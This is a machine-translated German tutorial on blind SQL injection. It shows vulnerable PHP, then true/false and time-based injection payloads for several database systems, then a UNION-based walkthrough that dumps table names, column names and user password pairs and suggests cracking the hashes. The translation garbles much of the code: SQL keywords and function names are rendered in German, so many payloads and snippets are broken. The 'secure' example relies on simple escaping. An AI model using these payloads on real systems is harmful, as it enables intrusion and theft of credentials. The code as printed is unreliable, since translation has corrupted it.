Sicherheit

Tutorial zu Blind-SQL-Injection-Techniken

Tutorial zu Blind-SQL-Injection-Techniken

Was ist SQL-Injection??

SQL Injection ist eine Art von Datenbankangriff, bei dem ein Angreifer versucht, Informationen aus der Datenbank einer Webanwendung zu stehlen. Dies kann je nach Webanwendungsumgebung und Datenbankversion sogar zu einer Remotecodeausführung führen.

SQL Injection erfolgt aufgrund einer schlechten Bereinigung der Benutzereingaben. Wenn Sie Benutzereingaben in einer Programmiersprache (PHP, ASP.NET) und übergeben Sie es direkt an die Datenbank des Servers, ohne einen Filter auf die Eingabe anzuwenden, dies kann zu einer SQL-Injection-Schwachstelle führen.

Der folgende PHP-Code ist beispielsweise anfällig für SQL-Injection-Angriffe, da er die Benutzereingabe direkt an die Datenbank weitergibt. Der Angreifer kann seine eigene bösartige Datenbankabfrage erstellen, um Daten aus der Datenbank zu extrahieren.

// Die Benutzereingabe wird in der ID-Variable gespeichert
$id = $_GET['id'];
// Die Benutzereingabe wird direkt in der Datenbank ausgeführt
$getid = "SELECT Vorname, Nachname FROM Benutzer WHERE user_id = '$id'";
// Im Fehler- oder Erfolgsfall werden die Ergebnisse an den Benutzer zurückgegeben
$result = mysql_query($getid) or die('
' . MySQL-Fehler() . '
');
$num = mysql_numrows($result);

Auf der anderen Seite wird ein sicheres Codebeispiel für einen solchen Code zur Interaktion mit der Datenbank angegeben. Es nimmt Benutzereingaben entgegen und filtert alle bösartigen Zeichen daraus und übergibt sie dann an die Datenbank.

$id = $_GET['id'];
$id = Streifenslashes($id);
$id = mysql_real_escape_string($id);

Normale vs. blinde SQL-Injektion

Normale SQL-Injection

Wenn ein Angreifer bei normaler SQL-Injection versucht, ein einfaches Anführungszeichen (') als Eingabe zu setzen, wenn dieses einfache Anführungszeichen in der Datenbank ausgeführt wird, antwortet die Datenbank mit einem Fehler. Der Fehler wird im Browser des Angreifers ausgegeben.

Der für diesen Fehler verantwortliche Code ist

// Wenn die Datenbank mit einem Fehler antwortet, wird die Funktion „or die()“ ausgeführt
um den Fehler auszudrucken
$result = mysql_query($getid) or die('
' . MySQL-Fehler() . '
');

Bei Normal SQL Injection kann der Angreifer die Fehlerergebnisse sehen und ist leicht zu identifizieren und auszunutzen.

Blinde SQL-Injektion

Im Fall von Blind SQL Injection wird der Datenbankfehler bei der Ausführung einer bösartigen Abfrage wie einem einfachen Anführungszeichen nicht im Browser des Angreifers oder auf sehr allgemeine Weise angezeigt, die vom Angreifer nicht leicht identifiziert und ausgenutzt werden kann.

Der dafür verantwortliche Backend-Code ist unten angegeben

$result = mysql_query($getid); // 'or die' entfernt, um MySQL-Fehler zu unterdrücken

Bei Blind SQL Injection kann der Angreifer nicht die vollständigen Ergebnisse sehen, daher ist diese Art von SQLi schwer zu identifizieren und auszunutzen, hat aber das gleiche Risikoniveau wie normales SQLi.

Techniken zur Erkennung blinder SQL-Injection

Während eine normale SQL-Injection erkannt werden kann, indem ein einfaches Anführungszeichen (') als Eingabe gesendet und der Ausgabefehler untersucht wird, kann die Blind-SQL-Injection mit dieser Technik nicht erkannt werden, da sie keinen SQL-Fehler anzeigt. Es gibt viele Techniken, um eine Blind-SQL-Injection zu erkennen, einige davon sind wie folgt angegeben

TRUE und FALSE Basierte Erkennung

Eines der Merkmale von Datenbanken einschließlich MySQL ist das unterschiedliche Verhalten bei True- und False-Anweisungen. Auch wenn die Datenbank keine Fehler anzeigt, können wir die Verwendung von True- und False-Anweisungen verwenden. Betrachten Sie das folgende Szenario,

Die folgende Seite ist anfällig für Blind SQL-Injection. Wenn Sie eine true-Anweisung angeben, werden alle Einträge in der Datenbank angezeigt

1' oder 1=1#

Wenn Sie eine False-Abfrage als Eingabe eingeben, werden keine Daten angezeigt.

1' oder 1=2#

Auch die Webseite zeigt keine Fehler an, der Unterschied zwischen den beiden Seiten zeigt an, dass unsere Abfragen in der Datenbank erfolgreich ausgeführt werden.

ZEITbasierte Erkennung

Es gibt eine Funktion in Datenbanken wie MySQL, MS-SQL und anderen für Verzögerungen. Wir können die SLEEP()-Funktion in unserer Abfrage verwenden, wenn die Antwort der Datenbank langsam ist, bedeutet dies, dass unsere Abfrage erfolgreich ausgeführt wurde und die Webseite für Blind SQL Injection anfällig ist.

1' UND Schlaf(15)#

Es gibt eine weitere zeitaufwendige Funktion „BENCHMARK“, mit der die Datenbankantwort verzögert werden kann

1' UND BENCHMARK(10000000,SHA1(1337))#

Die obige Zeile führt die SHA1()-Funktion 10000000 Mal in der Datenbank aus, was zu einer erheblichen Verzögerung der Antwort führt.

Zeitbasierte Blind-SQL-Injection in anderen Datenbanken

MSSQL: ID=1;Warten auf Verzögerung '0:0:10'-

ORACLE-SQL: UND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])

PostgreSQL: AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))

SQLite: AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))

Extrahieren von Datenbankinformationen

Der erste Schritt beim Extrahieren der Datenbank besteht darin, die Spaltennummern in der Datenbank zu bestimmen. Versuchen Sie dann, anfällige Spalten zu finden, um weitere Daten zu extrahieren.

Blind SQL Injection verhält sich bei unterschiedlichen Spaltennummern in der „Order by“-Abfrage anders.

1 'bestellen von 1 #

Die obige Aussage ist richtig, da in einer Datenbank immer mindestens 1 Spalte vorhanden ist. Versuchen Sie es jetzt mit einer sehr großen Anzahl.

1' Bestellung von 10000#

Die Datenbankantwort unterscheidet sich von der vorherigen previous. Versuchen Sie es jetzt mit 2 Spalten.

Die Anweisung hat funktioniert, das heißt, die Datenbank hat 2 oder mehr Spalten. Versuchen Sie es jetzt mit 3 Spalten.

1 'bestellen von 3 #

Die Datenbank hat keine Antwort gesendet, dh die Datenbank hat nur 2 Spalten 2. Jetzt versuchen wir, die Liste der Tabellen in der Datenbank zu speichern, wir verwenden dazu die folgende Abfrage query

1' union all select 1,group_concat(table_name) from information_schema.
Tabellen wo table_schema=database()#

Es gibt zwei Tabellen in der Backend-Datenbank „guestbook & users“. Die Tabelle „Benutzer“ kann Benutzernamen und Passwörter enthalten contain. Um Spaltennamen aus der Tabelle zu extrahieren, fügen Sie die folgende Abfrage ein.

1' union all select 1,group_concat(column_name) from information_schema.
Spalten wo table_schema=database()#

Jetzt haben wir Spaltennamen extrahiert, dazu gehören Benutzer- und Passwortspalten. In diesen Spalten werden die Benutzernamen und Passwörter der Kunden gespeichert.

Jetzt versuchen wir, die Daten mit der folgenden Abfrage zu extrahieren

1' union all select 1,group_concat(user,password) von users#

Und so können Sie Blind SQL Injection nutzen, ohne sich auf Fehler verlassen zu müssen. Ausgabepasswörter werden die meiste Zeit gehasht, die mit Tools wie John The Ripper oder Hashcat entschlüsselt werden können.

Fazit:

Blind SQL Injection ist der Typ von SQLi, der keine Datenbankfehler anzeigt oder mit einer sehr generischen Meldung antwortet. Aus diesem Grund ist es sehr schwierig, die Schwachstelle Blind SQL Injection in einer Webseite zu identifizieren. Sobald es erkannt wurde, können Sie es mithilfe von SQLmap . einfach manuell oder automatisiert ausnutzen.

Weisen Sie Ihre Maustasten mit der X-Mouse Button Control für verschiedene Software unterschiedlich zu
Vielleicht benötigen Sie ein Tool, mit dem sich die Steuerung Ihrer Maus bei jeder von Ihnen verwendeten Anwendung ändern kann. In diesem Fall können ...
Microsoft Sculpt Touch Wireless-Maus Bewertung
Ich habe vor kurzem gelesen, dass Microsoft Sculpt Touch kabellose Maus und beschloss, sie zu kaufen. Nachdem ich es eine Weile benutzt hatte, beschlo...
AppyMouse On-Screen Trackpad und Mauszeiger für Windows Tablets
Tablet-Benutzer vermissen oft den Mauszeiger, insbesondere wenn sie die Laptops gewohnt sind. Die Touchscreen-Smartphones und -Tablets bieten viele Vo...